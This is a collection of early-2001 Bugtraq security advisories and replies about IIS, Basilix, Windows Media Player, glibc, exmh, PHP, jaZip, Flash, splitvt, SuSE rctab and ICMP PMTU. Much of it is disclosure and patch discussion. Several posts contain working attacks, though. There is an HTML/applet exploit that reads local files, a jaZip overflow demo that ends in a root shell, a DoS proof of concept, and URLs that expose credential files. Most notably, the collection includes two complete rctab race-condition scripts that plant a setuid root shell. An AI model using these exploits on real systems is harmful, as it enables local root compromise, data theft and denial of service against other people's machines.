arp exploit
Sorry, forgot to add this in the comments at the top: the shellcode used in the exploit is Cheez Whiz' setregid() shellcode for x86 Solaris. Refer to: http://www.securityfocus.com/data/vulnerabilities/exploits/arpexp.c -da
Re: DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1 .0
-BEGIN PGP SIGNED MESSAGE- Hi All, Because this report makes some rather serious claims, and was sent to BugTraq at the start of a holiday weekend, we've been treating it as an urgent issue. We were concerned that, if the report were correct, malicious users might attack web sites while the system administrators were home for the weekend. We therefore called the IIS Security Team into the lab early this morning, and they worked throughout the day and well into the night in an effort to reproduce the denial of service the report describes. However, even after a thorough investigation using a lab setup that mirrors the one discussed in the report, we have not seen a denial of service. We contacted the author of the report, and he provided network traces from his system. But even when we replayed them against our lab setup, we did not see the server become unresponsive. (In fact, we noticed that even in the author's network trace, the servers continued to respond, albeit slowly, throughout the trace). At this point, we hypothesize that what appeared to be a denial of service have may actually been a case of flooding. We've seen cases today in which the high bandwidth of the lab setting enabled the client to generate invalid requests faster than the server could process them. (The inclusion of the %0%0 in the URL does marginally increase the work factor required to parse the request). However, in every case, the server's performance returned to normal when the flooding ceased, and it did (eventually) respond appropriately to every request. Nevertheless, we are continuing to investigate this issue. If anyone is able to reproduce the reported denial of service, we'd be most interested in any information you could provide. Please contact us at [EMAIL PROTECTED] Regards, Scott Culp Security Program Manager Microsoft Security Response Center - -Original Message- From: NtWaK0 [mailto:[EMAIL PROTECTED]] Sent: Saturday, January 13, 2001 8:53 AM To: BUGTRAQ; Microsoft Security Response Center Subject: DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1.0 Importance: High __ NtWaK0, SecurHack. Labs Security Advisory 1-13-2001 DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1.0 __ oo Vulnerable Systems oo IIS 4 and IIS 5 even if fully patched. Synopsis While playing with miner in retina I sent this GET /%0%0 HTTP/1.0 to one of my IIS 4 and IIS 5 servers, I noticed that retina is taking a lot of time to jump to the next defined variable in the brain.ini which should be GET /%0%1 and so on. Retina Result o Command: GET /%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Command: GET /_vti_inf.html%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Command: GET /_vti_inf.html%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Pinging the box while running retina even from different subnet it wont answer. You can connect to the web but you have to wait forever for it to load. I have tried that on IIS 4 and II 5 and same result Proof-Of-Concept 1- Get Retina From eeye.com 2- Install it 3- Edit the file Brain.ini located C:\Program Files\Retina 2.0\Modules\Retina\Miner\brain.ini default 4- Put this in your brain.ini file [General] Title=HTTP Miner [Commands] 1=GET /%%cgi-binpasswordfilepasswordfile%% HTTP/1.0 [Variables] cgi-bin=, passwordpath=%0,%1,%2,%3,%4,%5,%6,%7,%8,%9,%a,%b,%c,%d,%e,%f, 5- Run retina and choose miner and type your IP GO :) Btw that will start sending GET /%0%0 HTTP/1.0 GET /%0%1 HTTP/1.0 etc To see the result open up your browser and point to the IP you are mining and you will notice you can just connect and your LAN in my case cable is almost flooded. Ping the IP you are mining and you will get a Ping time out. Even if you try to connect to that IP from totally a different network you wont be able to view the page or it will take for-ever to load. oo Resolution oo No Idea :( ooo Credits ooo The discovery and documentation of this vulnerability was conducted by NtWaK0. For more information Dalnet channel #security __ The only secure computer is one that's unplugged, locked in a safe, and buried 20 feet under the ground in a secret location... and i'm not even too sure about that one"--Dennis Huges, FBI. ._ _ Live Well Do Good | Accept no limitations \(|)/ /`\
RES: Basilix Webmail System *.class *.inc Permission Vulnerabilit y
"This is not a bug, is a feature..." This is NOT realy a bug, but a misconfiguration that afect **EVERY** web server that suports a script language (like PHP, ASP, Cold Fusion or others). Example: You have Apache with PHP and configure ONLY the .php extension to be interpreted by the PHP engine; if you use one file with .php4 extension (or .inc, .class or another) as "include file", this is a potencial problem if you have typed valuable information in these files, as database connection, services running or installed, network topology and others. The problem for explore this misconfiguration is know the name of the files used as "include files" as they dont appear in the interpreted script that calls the "include file" Workarounds for the web admin: list every file extensions used as "script files" and "include files" in the web server and verify if they are configured. These files cant be acessed by other network service (as ftp or nfs) or local. And dont forget the permission of the files... Workaround for the script writers: if your script uses uncommon extensions, include that information in the documentation, with the configuration method for the web server. PS: Sorry for the (I think) poor english :-( Erick Bol Analista de suporte Servios ao Cliente Amaznia Celular Celular: (91)9983- - Mensagem original - De: Tamer Sahin [SMTP:[EMAIL PROTECTED]] Enviada em: quinta-feira, 11 de janeiro de 2001 21:33 Para: [EMAIL PROTECTED] Assunto: Basilix Webmail System *.class *.inc Permission Vulnerability --- tamersahin.net Security Solutions Announcement --- Basilix Webmail System *.class *.inc Permission Vulnerability Release Date: January 12, 2001 Version Affected: Basilix Webmail System 0.9.7beta Description: There is a simple mistake in the Basilix Webmail system. If .class file extension is not defined as a PHP script at the httpd.conf any attacker may see very valuable information by simply enterering the URL : http://victim.host/mysql.class MySQL password and username is stored in this file. Example Exploit: http://running-basilix/class/mysql.class http://running-basilix/inc/sendmail.inc (settings.inc and etc.) Solutions: Class and inc file extensions should be defined as PHP files and shouldn' t be given read permissions from outside. Obviously, MySQL port should also be filtered from remote connects. Regards; Tamer Sahin http://www.tamersahin.net [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] "Every blows that don't kill me make me stronger."
Windows Media Player 7 and IE java vulnerability - executing arbitrary programs
Georgi Guninski security advisory #35, 2001
Windows Media Player 7 and IE java vulnerability - executing arbitrary programs
Systems affected:
Windows Media Player 7 and IE
Risk: High
Date: 15 January 2001
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or
program or
any derivatives thereof.
Description:
There is a security vulnerability in Windows Media Player 7 exploitable thru IE and
java
which allows reading local files and browsing directories which in turn allows
executing
arbitratrary programs. This may lead to taking full control over user's computer.
Details:
The problem is WMP skins are installed in a known directory and with a known name:
"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : IFRAME
SRC="wmp2.wmz"/IFRAME
will download wmp2.wmz and place it in "C:/Program files/Windows Media
Player/Skins/wmp2.wmz".
wmp2.wmz may be a java jar archive. The following applet tag:
--
APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media
Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300
PARAM NAME="URL" VALUE="file:///c:/test.txt"
/APPLET
---
will be executed with codebase="file://c:/" and the applet will have read only access
to C:\.
The code is:
wmp7-3.html--
IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1/IFRAME
SCRIPT
function f()
{
window.open("wmp7-3a.html");
}
setTimeout("f()",4000);
/SCRIPT
-
--wmp7-3a.html---
APPLET CODEBASE="file://c:/"
ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz" CODE="gjavacodebase.class"
WIDTH=700 HEIGHT=300
PARAM NAME="URL" VALUE="file:///c:/test.txt"
/APPLET
-
Workaround:
Disable Java.
Demonstration is available at:
http://www.guninski.com/wmp7-3.html
Vendor status:
Microsoft was contacted on 11 January 2001.
Regards,
Georgi Guninski
http://www.guninski.com
Re: Glibc Local Root Exploit
Simon Cozens [EMAIL PROTECTED] writes:
And a patch. Yeah, it's pretty obvious, but nobody's produced it yet.
Your patch doesn't include the HOSTALIASES fix (which is
security-related as well):
Index: sysdeps/generic/unsecvars.h
===
RCS file: /cvs/glibc/libc/sysdeps/generic/unsecvars.h,v
retrieving revision 1.1
retrieving revision 1.3
diff -u -d -b -r1.1 -r1.3
--- unsecvars.h 2000/09/26 09:31:25 1.1
+++ unsecvars.h 2001/01/08 17:54:58 1.3
@@ -1,11 +1,12 @@
/* Environment variable to be removed for SUID programs. */
#define UNSECURE_ENVVARS \
"GCONV_PATH", \
+ "HOSTALIASES", \
"LOCALDOMAIN", \
"LOCPATH", \
"MALLOC_TRACE",\
"NLSPATH", \
- "RESOLV_HOST_CONF" \
+ "RESOLV_HOST_CONF",\
"RES_OPTIONS", \
"TMPDIR", \
"TZDIR"
Index: resolv/res_query.c
===
RCS file: /cvs/glibc/libc/resolv/res_query.c,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -d -b -r1.15 -r1.16
--- res_query.c 2000/07/19 21:59:47 1.15
+++ res_query.c 2001/01/08 17:55:24 1.16
@@ -371,7 +371,7 @@
if (statp-options RES_NOALIASES)
return (NULL);
- file = __secure_getenv("HOSTALIASES");
+ file = getenv("HOSTALIASES");
if (file == NULL || (fp = fopen(file, "r")) == NULL)
return (NULL);
setbuf(fp, NULL);
--
Florian Weimer[EMAIL PROTECTED]
University of Stuttgart http://cert.uni-stuttgart.de/
RUS-CERT +49-711-685-5973/fax +49-711-685-5898
exmh security vulnerability
Brent Welch [EMAIL PROTECTED] asked that this message about the
exmh symlink problem be forwarded to Bugtraq.
Thanks,
Noel
RootPrompt.org -- Nothing but Unix
News and information for Unix Sysadmins
http://rootprompt.org/
rss/rdf file: http://www.rootprompt.org/rss/
Text Headlines: http://www.rootprompt.org/rss/text.php3
-- Forwarded message --
Date: Fri, 12 Jan 2001 11:24:38 -0800
From: Brent Welch [EMAIL PROTECTED]
To: Albert White - SUN Ireland [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Re: exmh security vulnerability on linux.com
I have put information about the symlink attack and fixes on
http://www.beedub.com/exmh/symlink.html
Note that any user can protect themselves without applying a patch.
Exmh already has a feature that allows users to choose their own
tmp directory via the TMPDIR or EXMHTMPDIR environment variable.
Apparently the original bug reported failed to realize this simple
remedy. However, a patch that causes exmh to pick a better directory
by default is in place and available from the above web page. The
change is also checked into CVS.
If someone outthere is a member of BUGTRAQ, I would appreciate a posting
to their list about this fix.
Albert White - SUN Ireland said:
On http://oreilly.linux.com/pub/a/linux/2001/01/08/insecurities.html
This bug is mentioned:
"A problem in the bug reporting system for exmh, an X-based interface for th
e
MH mail, can cause overwriting of arbitrary system files that are writable b
y
the user running exmhexmh encounters a problem in its code, it opens a dialo
g
that asks the user what happened and then allows them to send a bug report t
o
the author. If the user chooses to e-mail the bug report, exmh creates the
file /tmp/exmhErrorMsg. If the file is a symlink, it will follow the symlink
,
overwriting the file that it is linked to.
As of this time, the author has not released a patch or updated version. It
is
recommended that the bug report feature not be used on multiuser systems unt
il
this problem has been fixed."
I think the problem is in error.tcl around line 121:
119 proc ExmhMailError { w errInfo } {
120 global exmh
121 if [catch {open [Env_Tmp]/exmhErrorMsg w} out] {
122 Exmh_Status "Cannot open [Env_Tmp]/exmhErrorMsg" purple
123 return
124 }
I guess all that is needed to fix this is a check to see that the file isn't
a
symlink before opening it. I don't know how to do that in tcl though :)
Cheers,
~Al
--==_Exmh_-536764512P
Content-Type: application/pgp-signature
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.2 (SunOS)
Comment: Exmh version 2.2 06/23/2000
iD4DBQE6XxH3pfmE8MiMM1IRAh4AAJjoZuUKRrXwlU3NALPNXmOCY15VAJwNr82Q
H7r69/0P2qxWE66bcPUCxg==
=2+zl
-END PGP SIGNATURE-
--==_Exmh_-536764512P--
-- Brent Welch [EMAIL PROTECTED]
http://www.interwoven.com
Yahoo! Instant Messenger
When being warned by my firewall that some packet contents may contain sensitive data when connecting to Yahoo! servers with the popular, Yahoo! Instant Messenger, I found to my amazement my username and password combination where being sent to the server in plain text. This is performed to the many Yahoo! servers by a plain get request on the standard ports than YIM uses. As far as I am aware, this is affecting all clients on all operating systems. YIM passwords also are used for mail, calenders, bill paying, auction bidding (which hold CC numbers) well as other information including addresses on various users. I feel this is a very dangerous exploit and comes not long after I discovered the remote character buffer overflow vulnerability in a previous version, hope it was of some help. The_Duke247 Security Editor - BlackBox http://black.box.sk
PHP Security Advisory - Apache Module bugs
Problems = [1] PHP supports a configuration mechanism that allows users to configure PHP directives on a per-directory basis. Under Apache, this is usually done using .htaccess files. Due to a bug in the Apache module version of PHP, remote 'malicious users' might be able to create a special HTTP request that would cause PHP to serve the next page with the wrong values for these directives. In certain (fairly rare) situations, this could result in a security problem. [2] PHP supports the ability to be installed, and yet disabled, by setting the configuration option 'engine = off'. Due to a bug in the Apache module version of PHP, if one or more virtual hosts within a single Apache server were configured with engine=off, this value could 'propagate' to other virtual hosts. Because setting this option to 'off' disables execution of PHP scripts, the source code of the scripts could end up being sent to the end clients. Impact === Even though in their worst-case situations these problems could have severe implications, these worst-cases are rare. In order to take advantage of problem #1, the attacker must have good knowledge of the structure of the site, the values of the various PHP directives in each directory, and a way that would help him exploit the bug using this knowledge. In addition, he must also be lucky enough to perform the attack on the same Apache httpd process that he exploits in a prior request, which can be very difficult to do on a busy site. Problem #2 is more serious, but because of its severity, it's most often detected immediately. This problem also only affects a setup that has multiple virtual hosts with some of them configured not to allow execution of PHP scripts, which is pretty rare. Affected Software Versions === All versions of PHP 4.0, from PHP 4.0.0 (and possibly earlier betas) through PHP 4.0.4 are vulnerable to these problems. Note that only the Apache module version of PHP is vulnerable - the CGI module as well as other server modules are *NOT* affecgted. PHP 3.0 is *NOT* affected. Solution The recommended solution is to upgrade to PHP 4.0.4pl1, available at http://www.php.net/downloads.php A workaround for problem #2 is to explicitly set 'engine=on' on all of the virtual hosts that are supposed to serve PHP pages, if one or more virtual hosts is configured with engine=off. A partial workaround for problem #1 is to disallow 'OPTIONS' requests. Acknowledgements == I'd like to thank James Moore, which, after hearing about the bug report, managed to successfully reproduce it, and issue a pin-pointing problem description, that helped solve the bug instantly. Zeev PHP Group http://www.php.net/ -- Zeev Suraski [EMAIL PROTECTED] CTO co-founder, Zend Technologies Ltd. http://www.zend.com/
DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1.0
__ NtWaK0, SecurHack. Labs Security Advisory 1-13-2001 DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1.0 __ oo Vulnerable Systems oo IIS 4 and IIS 5 even if fully patched. Synopsis While playing with miner in retina I sent this GET /%0%0 HTTP/1.0 to one of my IIS 4 and IIS 5 servers, I noticed that retina is taking a lot of time to jump to the next defined variable in the brain.ini which should be GET /%0%1 and so on. Retina Result o Command: GET /%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Command: GET /_vti_inf.html%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Command: GET /_vti_inf.html%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Pinging the box while running retina even from different subnet it wont answer. You can connect to the web but you have to wait forever for it to load. I have tried that on IIS 4 and II 5 and same result Proof-Of-Concept 1- Get Retina From eeye.com 2- Install it 3- Edit the file Brain.ini located C:\Program Files\Retina 2.0\Modules\Retina\Miner\brain.ini default 4- Put this in your brain.ini file [General] Title=HTTP Miner [Commands] 1=GET /%%cgi-binpasswordfilepasswordfile%% HTTP/1.0 [Variables] cgi-bin=, passwordpath=%0,%1,%2,%3,%4,%5,%6,%7,%8,%9,%a,%b,%c,%d,%e,%f, 5- Run retina and choose miner and type your IP GO :) Btw that will start sending GET /%0%0 HTTP/1.0 GET /%0%1 HTTP/1.0 etc To see the result open up your browser and point to the IP you are mining and you will notice you can just connect and your LAN in my case cable is almost flooded. Ping the IP you are mining and you will get a Ping time out. Even if you try to connect to that IP from totally a different network you wont be able to view the page or it will take for-ever to load. oo Resolution oo No Idea :( ooo Credits ooo The discovery and documentation of this vulnerability was conducted by NtWaK0. For more information Dalnet channel #security __ The only secure computer is one that's unplugged, locked in a safe, and buried 20 feet under the ground in a secret location... and i'm not even too sure about that one"--Dennis Huges, FBI. .__ Live Well Do Good | Accept no limitations \(|)/ /`\ NtWaK0
Vulnerability in jaZip.
Dear, Bugtraq.
jaZip is a program for managing an Iomega Zip or Jaz drive.
It is often installed setuid root - and because of a buffer
overflow it is possible for regular users to become root.
Please excuse me if this was know. Please note that I can not
guarantee that this information is correct.
Tested rpm:
ftp://ftp.linux.com/pub/mirrors/turbolinux/turbolinux/TurboLinux/
RPMS/jaZip-0.32-2.i386.rpm
[root@localhost /root]# export DISPLAY=`perl -e '{print "A"x"2100"}'`
[root@localhost /root]# gdb /usr/X11R6/bin/jazip
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
(gdb) r
Starting program: /usr/X11R6/bin/jazip
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[teleh0r@localhost teleh0r]$ rpm -q jaZip
jaZip-0.32-2
[teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
Address: 0xb7ac
bash#
Exploit attached.
Sincerely yours,
teleh0r
--
To avoid criticism, do nothing, say nothing, be nothing.
-- Elbert Hubbard
jazip-exploit.pl
Re: analysis of auditable port scanning techniques
Dan Harkless [EMAIL PROTECTED] writes: Rainer Weikusat [EMAIL PROTECTED] writes: Dan Harkless [EMAIL PROTECTED] writes: Using this grammar applied to the data we send to an arbitrary host piped to the ident/auth port will reveal the process owner running on a given port, even though we initiated the connection. Uh, no. With properly-written ident daemons, such as pidentd, [...] Well, there's a feature request for auth/ident/tap daemons running on OSes (if any) that can distinguish after-the-fact between connections that originated locally and those that originated remotely. Assuming that doesn't break RFCs 931 / 1413, of course (I'd re-read them right now to check, if I had the time)... Theo de Raadt just informed me via email that OpenBSD fixed their identd to only report SS_CONNECTOUT sockets in 1996. He says as far as he knows theirs is the only identd to implement this, and that he tried to contact the RFC authors about getting a revision done saying that you should not respond for non-locally-originating connections, but he either got no reply or there was disagreement. -- Dan Harkless | To prevent SPAM contamination, please [EMAIL PROTECTED] | do not mention this private email SpeedGate Communications, Inc. | address in Usenet posts. Thank you.
ifstatus 1.3 released
Hello. Recently, one of my articles was posted to Bugtraq. This article detailed a method of creating a "hidden sniffer" on a Sun box. The article may be perused here: http://www.cymru.com/~robt/Docs/Howto/Sun/sniffer-trick.txt To alleviate the concerns some of you have shared, I have updated Dave Curry's ifstatus tool so that HME and QFE interfaces in promiscuous mode, under Solaris 8, can be detected and noted. You will find the tool in the Tools section of my web site under the "ifstatus" hyperlink: http://www.cymru.com/~robt/Tools My thanks to Dave Curry, Neil Long, and Michael Hill for all of the assistance and input! As an aside, I do not consider the "sniffer trick" to be a bug in the Solaris OS. Those who read the article, and grok STREAMS and the Sun implementation of the IP stack, are likely to come to the same conclusion. Comments and feedback are always welcome! Please send any input directly to me, as I don't always manage to keep up with the various list postings. Thanks, Rob. -- Rob Thomas http://www.cymru.com/~robt cmn_err(CE_PANIC, "Out of coffee...");
Flash plugin write-overflow
Hello all,
I'm learning more and more about plugins.
I have recreated the write-overflow I found 6 months ago.
The affected plugins:
There are two primary sources for Flash plugins.
- Macromedia provides the official version. They are NOT affected by this
latest defect.
- Olivier Debon provides an unofficial version that has been ported to all
operating systems not supported by Macromedia (and some that are
supported by Macromedia).
Systems affected include: Linux (those viewing Flash without the
Macromedia plugin), FreeBSD, HP-UX, BeOS, Amiga, Solaris 2.5-2.8.
The port to Windows CE by Conduit Technologies is not affected.
To determine which one you are using, use the URL "about:plugins" under Netscape.
If you see Olivier Debon's name, then you are vulnerable.
Even if you compiled it with the "NOSOUND" flag, you are still vulnerable.
Location of the defect:
DefineSound.
The format of this tag:
tag_14 length_of_tag sound_id flags samples data
Sound_id is two bytes giving the sound object a reference ID.
Flags is one byte that determine things like sampling rate and stereo.
"Samples" are four bytes telling the number of samples in the recording.
(ID + Flags + Samples = 5 bytes.)
The remaining data contains the actual sound.
(Flags + Samples + Data = length of tag)
The defect:
File "script.cc", in function "ParseDefineSound()".
void CInputScript::ParseDefineSound()
{
Sound *sound;
U32 tagid = (U32) GetWord();
long nbSamples;
long flags;
char *buffer;
sound = new Sound(tagid);
flags = GetByte();
sound-setSoundFlags(flags);
addCharacter(sound);
nbSamples = GetDWord();
buffer = sound-setNbSamples(nbSamples);
if (flags soundIsADPCMCompressed) {
Adpcm *adpcm;
adpcm = new Adpcm( m_fileBuf[m_filePos] , flags soundIsStereo );
adpcm-Decompress((short *)buffer, nbSamples);
delete adpcm;
} else {
memcpy(buffer, m_fileBuf[m_filePos], m_tagLen-5);
}
}
The last memcpy/Decompress call causes a write-overflow when the
number of samples is less than the remaining amount of data in the file.
"buffer" is allocated in sound.cc:
char * Sound::setNbSamples(long n) {
long size;
nbSamples = n;
size = nbSamples * (stereo ? 2 : 1) * sampleSize;
samples = new char[ size ];
memset((char *)samples,0, size);
return samples;
}
The "sampleSize" is either 1 or 2 (depends on the flags used).
The size of "buffer" is allocated to be "number of samples * sampleSize *
1 or 2 for stereo".
The memcpy in ParseDefineSound() copies all of the data into the allocated
buffer.
So the defect:
I can define nbSamples (number of samples).
I define it to be much less than the number of data bytes.
Should be: ID + Flags + Samples = length of tag - Data.
Overflow when: ID + Flags + Samples length of tag - Data
This is a write-overflow. This is capable of running arbitrary code.
I believe this may be what I saw 6 months ago.
I have an example posted at:
http://www.verinet.com/~nealk/Flash_and_Crash/
Reporting history:
- Reported to Macromedia on Jan. 13, 2001. A day later they identified
it as Olivier's code and pointed out that they were not vulnerable.
(They may read-overflow, crash the browser, or pin the CPU, but they are
immune to this one.) This is also how I learned that there were multiple
sources.
- My email to Olivier Debon on Jan. 14, 2001 bounced as undeliverable.
Decided to post.
(In addition, I know of literally dozens of people who are right now
looking very closely at the Flash plugins. It's best to post sooner
than later.)
-Neal
[MSY] Multiple vulnerabilities in splitvt
---[ MasterSecuritY www.mastersecurity.fr ]--- [ Multiple vulnerabilities in splitvt ]- --[ By fish stiqz [EMAIL PROTECTED] ]--- -[ And Michel "MaXX" Kaempf [EMAIL PROTECTED] ]-- --[ 0x00 - Table of contents ] - 0x01 - Overview 0x02 - Solutions 0x03 - Exploit --[ 0x01 - Overview ]--- Splitvt is a program that splits any vt100 compatible screen into two - an upper and lower window in which you can run two programs at the same time. Splitvt differs from screen in that while screen gives you multiple virtual screens, splitvt splits your screen into two fully visible windows. You can even use splitvt with screen to provide multiple split screens. This can be very handy when running over a modem, or for developing client-server applications or watching routine tasks as you work. The latest splitvt versions are available via the web at: http://www.devolution.com/~slouken/projects/splitvt/ Versions 1.6.5 contain a format string vulnerability and numerous buffer overflows. As splitvt is installed setuid root or setgid tty or utmp on most systems, an attacker might be able to successfully exploit one of these vulnerabilities and gain special privileges on the local system. Sam Lantinga [EMAIL PROTECTED], the author, was contacted and a patch fixing the exploitable and potential holes found in splitvt was provided. He released a new splitvt version, 1.6.5, based on this patch. --[ 0x02 - Solutions ]-- [ Short-term solution ]- Remove the setuid or setgid bit from splitvt, because as mentioned in the splitvt ANNOUNCE file: The set-uid bit is only for updating the utmp database and for changing ownership of its pseudo-terminals. It is not necessary for splitvt's operation. Upgrade to splitvt 1.6.5, available at: http://www.devolution.com/~slouken/projects/splitvt/ [ Long-term solution ]-- Permanently remove the setuid or setgid bit from splitvt, because if splitvt appears to be a useful program, it was not designed with security in mind, as revealed by the splitvt CHANGES file: Version 1.6.5 Security fixes by fish stiqz Version 1.6.4 Patched some security holes: fixed buffer overflow in lock.c Version 1.6.3 Patched some security holes: fixed sprintf overflow in parserc.c fixed env label overflow in parserc.c fixed env variable expansion overflow added read access check in parserc.c added chdir() access check in parserc.c fixed sprintf overflow in vtmouse.c --[ 0x03 - Exploit ] Although many of the discovered buffer overflows were exploitable, the program described here exploits the format string vulnerability present in the parserc.c module: sprintf(rcfile_buf, startupfile, home); rcfile_buf is a malloced buffer, startupfile is a string provided to splitvt by the user thanks to the -rcfile option, and home is a pointer to the HOME environment variable. [ The downward spiral ]- The exploit should be portable and even work against systems protected with StackGuard, StackShield, OpenWall, PaX or whatever. The current version successfully exploits splitvt on every Linux system (i386, sparc, etc), and should only need a small amount of changes in order to work against different systems, like *BSD or SunOS for example. See the "Portability" section below for more information. The vulnerability looks like a classic format string vulnerability, and it is, except one or two details. The *printf() functions read their arguments on the stack, and in case of a format string vulnerability, they read the addresses where they should store the number of characters written so far (the %n arguments) on the stack. Here, the rcfile_buf is located in the heap and not on the stack, and that is why the %n arguments should already be present somewhere on the stack at the time the guilty sprintf() call is performed. The exploit stores them among the arguments passed to splitvt, so that they are located on the stack and can contain nul characters. The format string (startupfile) should therefore force sprintf() to eat every single byte on the stack until it reaches the %n arguments, located somewhere at the beginning of the stack. And the format string should be built so that rcfile_buf cannot be overflowed, which could happen because it was malloced to hold the format string, but not the *converted* format string. The solution is to use %c, which is 2 bytes long, but only 1 byte long (one character) once converted. Thus rcfile_buf will be big enough to hold the converted format string. And
Serious security flaw in SuSE rctab
Hi @ll,
it seems that the problem described below has not been discussed on
Bugtraq.
Problem description
---
Due to a various race conditions in the init level editing script
/sbin/rctab it is possible for any local user to overwrite any system's
file with arbitrary data. This may result in denial of service attack,
local or even remote root compromise, if root runs the /sbin/rctab
script.
Details
---
The /sbin/rctab script doesn't check for links writing the temporary
rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't
chown'ed root. Because the PID of the rctab script can be guessed (or
looked up, however), any local user can replace the temporary rctmp file
with arbitrary content. This can be exploited in one of the following
manners:
a) local user replaces the rctmp with his own, resulting in
enabling/disabling any valid service listed in /sbin/init.d directory.
This may lead to a system running a vulnerable service after the
runlevel has been switched, resulting in further remote root compromise.
b) local user force the rctab script to write the content of rctmp file
to any other system's file including /etc/passwd or /etc/shadow. This
results in denial of service too.
c) local user trick the rctab script to write the contents of rctmp file
predecessed by some arbitrary data to some sensitive system file. In
conjunction with any sort of shell script executed by the root user and
the 'in here documents' it is possible to run any command inside the
attacked shell script.
d) ...and much more
Vulnerable Systems
--
At least SuSE 6.1-7.0, maybe other systems using rctab.
Exploit
---
Attached 2 exploits
rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present,
root runs crontab -e and saves the changes after changing something in
the runlevel table _and_ login again. (Yes, in some cases the script
will fail ;-)
changerc.sh: replaces system's inittable with an arbitrary one (assuming
rctab -e is run too)
IhaQueR.
-
so now the scripts:
[changerc.sh]
#!/bin/bash
# any user can force changes to runlevels
# by IhaQueR
declare -i PLOW
declare -i PHIGH
# CONFIG:
PLOW=1
PHIGH=3
TMP="/tmp"
FAKERC="/tmp/fakerc"
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
_pwd="$PWD"
#
echo "--"
echo "||"
echo "| rctab exploit |"
echo "|by IhaQueR '2001|"
echo "||"
echo "--"
echo
# crate dirs
echo "[+] now creating directories"
echo "this may take a while"
echo
declare -i cnt
cnt=$PLOW
umask 700
while [ $cnt -lt $PHIGH ]
do
cnt=$(($cnt+1))
if [ $(($cnt % 128)) -eq 0 ] ; then
printf "[%6d] " $cnt
fi;
if [ $(($cnt % 1024)) -eq 0 ] ; then
echo
fi;
mkdir -p "$TMP/$RCTMPDIR.$cnt"
done
echo
echo
echo "finished creating dirs"
echo
# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"
while [ 1 ]
do
rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
if test $rctabpid -gt 1 ; then
break
fi
sleep 1
done
# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"
echo "[+] got rctab -e at pid $rctabpid"
# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"
if test -O $rcdir ; then
echo "[+] ok, we own the dir"
else
echo "[-] hm, we are not owner"
exit 2
fi
# wait for root to finish editing
sleep 4
declare -i vipid
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
echo "root is editing now at $vipid, wait for $rcfile"
pfile="/proc/$vipid"
while test -d $pfile
do
echo -n /dev/null
done
rm -rf $rcfile
cp $FAKERC $rcfile
echo "[+] gotcha!"
echo "installed new rctab from $FAKERC"
-
[rcshell.sh]
#!/bin/bash
# any user can force changes to runlevels
# by IhaQueR
declare -i PLOW
declare -i PHIGH
# CONFIG:
PLOW=1
PHIGH=3
TMP="/tmp"
FAKERC=/tmp/fakerc
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
WRITETO="/root/.bashrc"
SUSH="/tmp/sush"
# what we want to write to $WRITETO (oops...)
declare -i idx
idx=0
rchead=""
while test "$idx" -lt 128 ; do
rchead="$rchead "
idx=$(($idx+1))
done
rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat /dev/null
_DUPA_"
_pwd="$PWD"
#
echo "--"
echo "||"
echo "|local rctab root exploit|"
echo "| you would need luck |"
echo "| and an admin stupid enough |"
echo "|by IhaQueR '2001|"
echo "|
ICMP fragmentation required but DF set problems.
Hi all, The problem I'm exposing is quite obvious, but unfortunatelly can be used in a very simple way by script kiddies. SYNOPSIS It's possible to slowdown (a lot) connections between two arbirary hosts (but at least one with the PMTU discovery enabled) using some spoofed TCP/IP packet. Maybe you can do more against some TCP/IP stack. AFFECTED SYSTEMS I tryed it a bit against some site, seems that at least Linux and some BSD are vulnerable. Anyway it is quite probable that almost all the TCP/IP stacks with the PMTU discovery enabled are vulnerable. SOLUTION There isn't a clear solution. CREDITS (!) me [EMAIL PROTECTED] DETAILS (When I talk about "the stack" I'm refering to Linux 2.4 TCP/IP stack) The path MTU discovery is used to optimize TCP/IP performances. Sorry if you don't know how it works, no flood for readers. Anyway the stack takes an hash table with the MTU of other ends. When an ICMP frag-req but DF set reaches the stack it perform a look-up in the hash table, searching for the old MTU, than look at the size of the quoted packet in the ICMP packet, and compute the new MTU (strong semplification). The look-up is done using even the TOS field, since different TOS may have different routing (I guess is for this). The players: A - some host that talks or will talk with the host B B - some host that talks or will talk with the host A C - the attacker, able to spoof IP packets C: sends an ICMP echo request, with some data, 